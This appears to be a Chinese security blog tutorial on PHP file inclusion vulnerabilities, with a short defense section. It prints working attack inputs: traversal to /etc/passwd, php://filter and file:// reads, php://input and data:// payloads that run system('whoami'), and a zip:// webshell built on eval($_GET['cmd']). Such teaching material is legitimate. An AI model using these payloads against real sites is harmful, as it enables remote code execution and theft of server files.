当前位置: 首页 > news >正文

文件包含漏洞

目录

一、什么是文件包含

二、产生文件包含漏洞的原因

三、文件包含的类型

四、常见绕过技巧

1.目录穿越

2.长度截断绕过(PHP 5.2.x 及更早版本,也包含部分 PHP 5.3.x 早期版本)

3.伪协议利用(PHP)

1.php://filter:该协议能读取.php文件的源码

2.php://input(执行 POST 提交的代码):可以读取POST 请求体中的数据—— 当包含该伪协议时,PHP 会把 POST 里的内容当作文件内容执行。

3. data://(直接执行编码后的代码):是数据流协议,可直接将 “编码后的代码” 作为文件内容传递给include()执行.

4. file://(读取本地文件,绕开路径过滤):访问本地文件的协议,可显式指定绝对路径,绕开开发者对相对路径的过滤。

5. zip:///phar://(压缩包绕过,绕开后缀限制):将恶意 PHP 文件压缩成 zip 包,通过伪协议直接读取压缩包内的文件,绕开 “只允许包含.zip/.rar” 等后缀限制。

五、 防御措施


一、什么是文件包含

文件包含是Web 后端开发中一种代码复用技术,指通过特定函数(如 PHP 的include()/require()、JSP 的<%@ include %>等)将服务器上指定文件的内容,直接嵌入到当前执行的代码中,合并成一个整体执行。

简单来说,程序员写网站代码时,为了偷懒(专业叫 “代码复用”),会把重复的代码单独存成一个文件,用include()函数 “包含” 这些文件,减少重复工作。

二、产生文件包含漏洞的原因

正常的,安全的文件包含:程序员提前规定好要包含哪个文件,用户控制不了。

<?php // index.php(网站首页) // 包含顶部导航栏文件(固定写死,用户改不了) include("header.php"); // 首页自己的内容 echo "欢迎来到csdn!"; // 包含底部版权文件(固定写死,用户改不了) include("footer.php"); ?>

有漏洞的文件包含:程序员把 “要包含哪个文件” 的决定权,交给了用户,还不做任何限制

<?php // index.php(有漏洞的版本) // 从用户的URL里拿参数:?page=xxx $page = $_GET['page']; // 直接包含用户指定的文件 include($page); ?>

三、文件包含的类型

  • 本地文件包含 LFI(Local File Inclusion)包含服务器本地已存在的文件。

  • 远程文件包含 RFI(Remote File Inclusion)包含远程服务器上的文件。危害更大,但需要 PHP 配置支持。

四、常见绕过技巧

1.目录穿越
?page=../../../../etc/passwd

./当前目录

../返回上级目录

2.长度截断绕过(PHP 5.2.x 及更早版本,也包含部分 PHP 5.3.x 早期版本)
?page=shell.php%00 ?page=shell.php............................
3.伪协议利用(PHP)

PHP 伪协议(PHP Wrappers)是PHP 内置的 “特殊文件协议”,不是真实的网络协议(如 HTTP),而是 PHP 用来访问不同类型资源的 “内置接口”,格式为协议名://参数(比如php://filter

攻击者用伪协议的核心目的:绕过开发者的文件名过滤 / 后缀限制,读取源码、执行代码,或绕开open_basedir等配置限制。

核心配置:allow_url_include/allow_url_fopen

  • allow_url_include = On:最危险!攻击者可直接用http:///ftp://包含远程恶意文件(远程文件包含 RFI);
  • allow_url_include = Off:阻断 RFI,但本地文件包含(LFI)仍可能被伪协议绕过;
  • allow_url_fopen = On:允许 PHP 通过fopen()/file_get_contents()等函数访问远程文件(HTTP/FTP);
  • allow_url_fopen = Off:会影响部分伪协议(如data://)的生效,但php://系列伪协议不受影响(因为是内置协议)。
1.php://filter:该协议能读取.php文件的源码
?page=php://filter/read=convert.base64-encode/resource=index.php
  • read=convert.base64-encode:将文件内容 Base64 编码后输出(避免直接执行 PHP 代码);
  • resource=index.php:指定要读取的文件(可替换为任意路径,如/etc/passwd);
  • 无配置要求
2.php://input(执行 POST 提交的代码):可以读取POST 请求体中的数据—— 当包含该伪协议时,PHP 会把 POST 里的内容当作文件内容执行。

先构造 GET 请求:

http://xxx.com/index.php?page=php://input

用 Burp/Hackbar发送 POST 数据(比如执行命令):

<?php system('whoami'); ?> // 执行系统命令,查看当前用户
  • 服务器会执行 POST 里的system('whoami'),返回当前服务器用户信息。
  • 配置要求:allow_url_include = On(必须开启!否则包含失败);
  • 限制:仅在POST请求中生效
3.data://(直接执行编码后的代码):是数据流协议,可直接将 “编码后的代码” 作为文件内容传递给include()执行.
http://xxx.com/index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==
  • text/plain:指定数据类型;
  • base64,:分隔符,后面是 Base64 编码的 PHP 代码;
  • PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==解码后是:<?php system('whoami'); ?>;
  • 无需上传文件,直接执行代码;
  • 配置要求:allow_url_fopen = On+allow_url_include = On;
4.file://(读取本地文件,绕开路径过滤):访问本地文件的协议,可显式指定绝对路径,绕开开发者对相对路径的过滤。
http://xxx.com/index.php?page=file:///etc/passwd // Linux http://xxx.com/index.php?page=file://C:/Windows/win.ini // Windows
  • 绕过场景:开发者过滤了../(目录穿越),但未过滤file://
  • 配置要求:无。
5.zip:///phar://(压缩包绕过,绕开后缀限制):将恶意 PHP 文件压缩成 zip 包,通过伪协议直接读取压缩包内的文件,绕开 “只允许包含.zip/.rar” 等后缀限制。

以zip://为例:

① 把shell.php(内容<?php eval($_GET['cmd']); ?>)压缩成shell.zip;② 构造请求:

plaintext

http://xxx.com/index.php?page=zip:///var/www/html/shell.zip%23shell.php
  • %23#的 URL 编码(分隔压缩包和内部文件);
  • 服务器会直接执行压缩包内的shell.php,无视后缀限制。
  • 目标:开发者只允许包含.zip后缀文件,禁止.php
  • 配置要求:无(PHP>=5.3.0 支持)。

五、 防御措施

  • 核心根本:用白名单限定可包含的文件(只允许预设的合法文件,彻底杜绝用户控制路径);
  • 路径管控:若需用户输入路径,先通过realpath()规范化路径,校验是否在允许的目录内,拦截目录穿越;
  • 配置加固:保持allow_url_include = Off(禁用远程包含),设置open_basedir限制文件访问范围;
  • 兜底过滤:过滤../php://等危险字符 / 伪协议,强制限定文件后缀(仅作为补充,不能替代白名单)。
http://www.jsqmd.com/news/487114/

相关文章:

  • 基于滑模的永磁直线同步电机鲁棒H无穷控制Matlab程序探索
  • 深度剖析AI专著生成工具,开启高效专业学术专著撰写新体验
  • 当AI学会“欺骗“裁判:推理型LLM评判员的双刃剑效应
  • plotXVG:分子模拟数据顶刊级可视化工具 安装与实用教程
  • CC工具箱使用指南:【获取要素图层的符号系统Json文本】
  • 让旧Mac再战几年:使用 OpenCore Legacy Patcher 升级不支持的 macOS(完整教程)
  • Java 从入门到精通(五):封装、继承、多态到底怎么串起来理解?
  • 对比一圈后! 千笔 VS speedai,全领域适配降AI率平台首选
  • 拖延症福音 AI论文软件 千笔·专业论文写作工具 VS 灵感风暴AI
  • 桥梁裂缝混凝土剥落钢筋腐蚀外漏缺陷识别分割数据集labelme格式5341张5类别
  • J6-2 图的概念与遍历
  • YOLO11 改进 - 主干网络_ ConvNeXtV2全卷积掩码自编码器网络:轻量级纯卷积架构破解特征坍塌难题,提升特征多样性
  • SEO Machine:解锁高效的SEO内容创作之旅!
  • windows操作系统上的Java版更新
  • 开源数据同步中间件(Dbsyncer)简单玩一下 mysql to mysql 的增量,全量配置
  • 【开题答辩全过程】以 基于.NET某高校学生宿舍管理系统为例,包含答辩的问题和答案
  • 探索博世电驱仿真模型:同步与异步电机的奇妙之旅
  • 靠谱的宁波展厅设计厂家
  • 云服务与订阅制的幻象:当“狼外婆”遇上了“小绵羊”
  • 超实用机器视觉框架:VS2019 一键编译,开启视觉检测新旅程
  • MacBook Pro 2014 Mid 无法升级 macOS 12?微信、Trae、OpenClaw 无法安装的终极解决方案(OpenCore 教程)
  • 个人博客地址自测试
  • 双馈风电机组并网仿真建模:四机九节点系统中的虚拟惯量与下垂控制技术,超速减载与桨距角控制调频策...
  • 基于主从博弈的智能小区代理商定价及电动汽车充电管理策略研究:实现双赢的双层优化策略
  • 13.jmeter性能测试高并发及高频率弱压力及持续高并发
  • E (921) sdmmc_sd: sdmmc_init_spi_crc: sdmmc_send_cmd_crc_on_off returned 0x106 E (921) vfs_fat_sdmmc
  • MYSQL order by , group by练习
  • 从命令行到认知时代:GitHub 指令使用与自动化工作流深度实践
  • YOLO11 改进 - SPPF模块 _ 替代SPPF, Mona多认知视觉适配器(CVPR 2025):打破全参数微调的性能枷锁:即插即用的提点神器
  • AI时代,最珍贵的能力从不是会用AI,而是这一种